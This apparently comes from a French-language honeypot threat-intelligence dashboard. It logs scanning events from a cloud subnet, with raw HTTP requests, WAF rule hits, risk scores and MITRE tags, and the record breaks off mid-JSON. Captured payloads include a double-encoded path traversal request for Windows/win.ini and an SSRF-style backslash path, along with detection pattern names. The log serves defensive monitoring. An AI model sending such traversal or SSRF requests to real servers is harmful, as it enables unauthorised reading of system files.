GET /%5cgoogle.com/4af206ebd4.html HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:9000 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": "html",
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "0b37967bee449c869824b09189219b57c1712bae",
"http_target_hash": "eef7221f84d0c9d32bcbdb1de8e88a4ee8ae2719",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 245,
"payload_entropy": 5.440921240386983,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 9000,
"risk_waf": 84,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 3,
"risk_breakdown": {
"waf": 84,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 57,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "453498e87e825cecea3232558f84c7576c449cac",
"event_fingerprint": "25122caf266f41952b8e33155fc69267bd466eda",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"confidence": 0.64,
"classification_confidence": 0.64,
"precision_score": 64,
"precision_signals": [
"CRS-920350"
],
"kb_rule_ids": [
"CRS-920350"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 84,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 57,
"correlation_boost": 10
},
"named_classification_skipped": false,
"classification_parent": "ssrf_attack",
"service_name": "http",
"risk_confidence_factor": 54,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "ddc220fff15d44d07ec254dee9aa76b9",
"path_pattern_hash": "1ff0d8dcf831a076b212dbddfef2a545"
},
"target_context": {
"dst_port": 9000,
"service": "http",
"service_name": "http",
"risk_score": 57
},
"payload_preview": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\r\nAccept: *\/*\r\nUser-Agent: Mozi",
"method": "GET",
"path": "\/%5cgoogle.com\/4af206ebd4.html",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1",
"request_sample": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\r\nAccept: *\/*\r\nUser-Agent: Mozi",
"evidence": {
"method": "GET",
"path": "\/%5cgoogle.com\/4af206ebd4.html",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1",
"request_sample": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\r\nAccept: *\/*\r\nUser-Agent: Mozi",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "2b4c83526054240dae0a81cddf9bafbc5c159dc0",
"protocol_details": {
"http_method": "GET",
"http_path": "\/%5cgoogle.com\/4af206ebd4.html",
"request_line": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 9000,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\r\nAccept: *\/*\r\nUser-Agent: Mozi",
"attack_vector": "ssrf internal \u00b7 via HTTP:9000 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/%5cgoogle.com\/4af206ebd4.html",
"target_port_label": "9000 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"classification_reason_label_fr": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 57\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 64 % \u2014 via HTTP \u2014 campagne \/24 (34.19.116.0\/24)",
"confidence_pct": 64,
"confidence_breakdown": {
"waf": 84,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 57,
"correlation_boost": 10
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 57,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 9000,
"protocol_emulated": true,
"tags_summary": [
"CRS-920350"
],
"tags_summary_labels_fr": [
"CRS-920350"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/%5cgoogle.com\/4af206ebd4.html",
"request_line": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 9000,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "ssrf internal \u00b7 via HTTP:9000 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/%5cgoogle.com\/4af206ebd4.html",
"evidence_snippet": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\r\nAccept: *\/*\r\nUser-Agent: Mozi",
"target_port_label": "9000 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 64 % \u2014 Score WAF 84 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "9000"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 8,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:08:22 UTC
TCP
84 · HTTP
SSRF interne
ssrf internal · via HTTP:84 · (tentative d'exploit)
Élevée
Moyen · 54
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0001
TA0001
TA0002
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
84
Chemin / cible
/
Pourquoi cette classification : Type « ssrf_internal » (signaux protocolaires) · confiance 54%
Confiance classification
64%
Corrélation +10
Risque capteur
Moyen
· 54
Confiance : Confiance 54 % — Motif catalogue confirmé · 3 tag(s) WAF
Signaux
CRS-920350
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:84
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac O
Requête brute (extrait)
GET / HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:84 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "d102931234a1e862c21d5ee85c643d79144cbdd9",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 214,
"payload_entropy": 5.399375425233744,
"port_category": "well_known",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 84,
"risk_waf": 72,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 25,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4.6,
"risk_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 25,
"novelty": 15
},
"risk_score": 54,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "a6c91d04e9df230ea543aec7cc39bc9556689ada",
"event_fingerprint": "4a5b296d98a06ba8c427b3e907854ab74a0f3130",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"confidence": 0.64,
"classification_confidence": 0.64,
"precision_score": 64,
"precision_signals": [
"CRS-920350"
],
"kb_rule_ids": [
"CRS-920350"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 25,
"novelty": 15,
"risk_score": 54,
"correlation_boost": 10
},
"named_classification_skipped": false,
"classification_parent": "ssrf_attack",
"service_name": "http",
"risk_confidence_factor": 54,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "d3a99f9240f8087067b93903c112dd49",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 84,
"service": "http",
"service_name": "http",
"risk_score": 54
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:84\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac O",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:84\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:84\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac O",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:84\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:84\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac O",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "74dbc26400fb133d3fb568a309252f6e4158b9f5",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 84,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:84\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac O",
"attack_vector": "ssrf internal \u00b7 via HTTP:84 \u00b7 (tentative d'exploit)",
"target_port_label": "84 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"classification_reason_label_fr": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 54\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 64 % \u2014 via HTTP \u2014 campagne \/24 (34.19.116.0\/24)",
"confidence_pct": 64,
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 25,
"novelty": 15,
"risk_score": 54,
"correlation_boost": 10
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 54,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 84,
"protocol_emulated": null,
"tags_summary": [
"CRS-920350"
],
"tags_summary_labels_fr": [
"CRS-920350"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 84,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "ssrf internal \u00b7 via HTTP:84 \u00b7 (tentative d'exploit)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:84\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac O",
"target_port_label": "84 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 64 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "84"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 9,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"asn_dc_heuristic": true
}
30/07/2026 18:56:19 UTC
TCP
9207 · HTTP
Traversal LFI
lfi path traversal · via HTTP:9207 · (tentative d'exploit) · → /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%…
Élevée
Élevé · 67
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
T1083
TA0001
TA0002
Protocole
GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/… UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
35
Recommandation
Investiguer
Tags
950260:lfi-0
950264:lfi-1
950326:rce-0
950468:nosqli-3
Cible HTTP
GET
/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/Windows/win.ini
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
9207
Chemin / cible
/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/Windows/win.ini
Pourquoi cette classification : Sonde fichier sensible: traversal ../ · Règle WAF « lfi-0 » · Traversal / LFI dans le chemin · confiance 100%
Confiance classification
100%
Corrélation +10
Risque capteur
Élevé
· 67
Confiance : Confiance 100 % — Motif catalogue confirmé · 5 tag(s) WAF
Protocole émulé
1 Signaux
Http Lfi
pat-0715
CRS-930100-sub
Upstream
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 930150 boot ini
Ligne de requête
GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/Windows/win.ini HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
lfi-0
lfi-1
rce-0
nosqli-3
Payload (extrait)
GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/Windows/wi
Requête brute (extrait)
GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/Windows/win.ini HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:9207 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 10,
"http_path_ext": "ini",
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "b6b0702a8fb6144179643638329a55a1879f5d46",
"http_target_hash": "b32cff996f138fc51ce84f8a9a846c903d796431",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 344,
"payload_entropy": 5.164348526590411,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 9207,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 3,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 67,
"tag_count": 10,
"anomaly_count": 0,
"campaign_key": "d66364ef3e534b7e2a132451a7ff7976781b1c6f",
"event_fingerprint": "52578e31a25a26ecf6f690c71423c0bcad7a963c",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 329,
"precision_signals": [
"INT-http_lfi",
"pat-0715",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"kb_rule_ids": [
"INT-http_lfi",
"pat-0715",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"matched_patterns": [
"pat-0715"
],
"matched_pattern_names": [
"CRS 930150 boot ini"
],
"pattern_ids": [
"pat-0715"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 67,
"correlation_boost": 10
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "35eaf1bd4a17455614bb1c5500493d5a",
"path_pattern_hash": "584e17b7bcc67c2f535291a0253964b1"
},
"target_context": {
"dst_port": 9207,
"service": "http",
"service_name": "http",
"risk_score": 67
},
"method": "GET",
"path": "\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini HTTP\/1.1",
"payload_snippet": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/wi",
"evidence": {
"method": "GET",
"path": "\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini HTTP\/1.1",
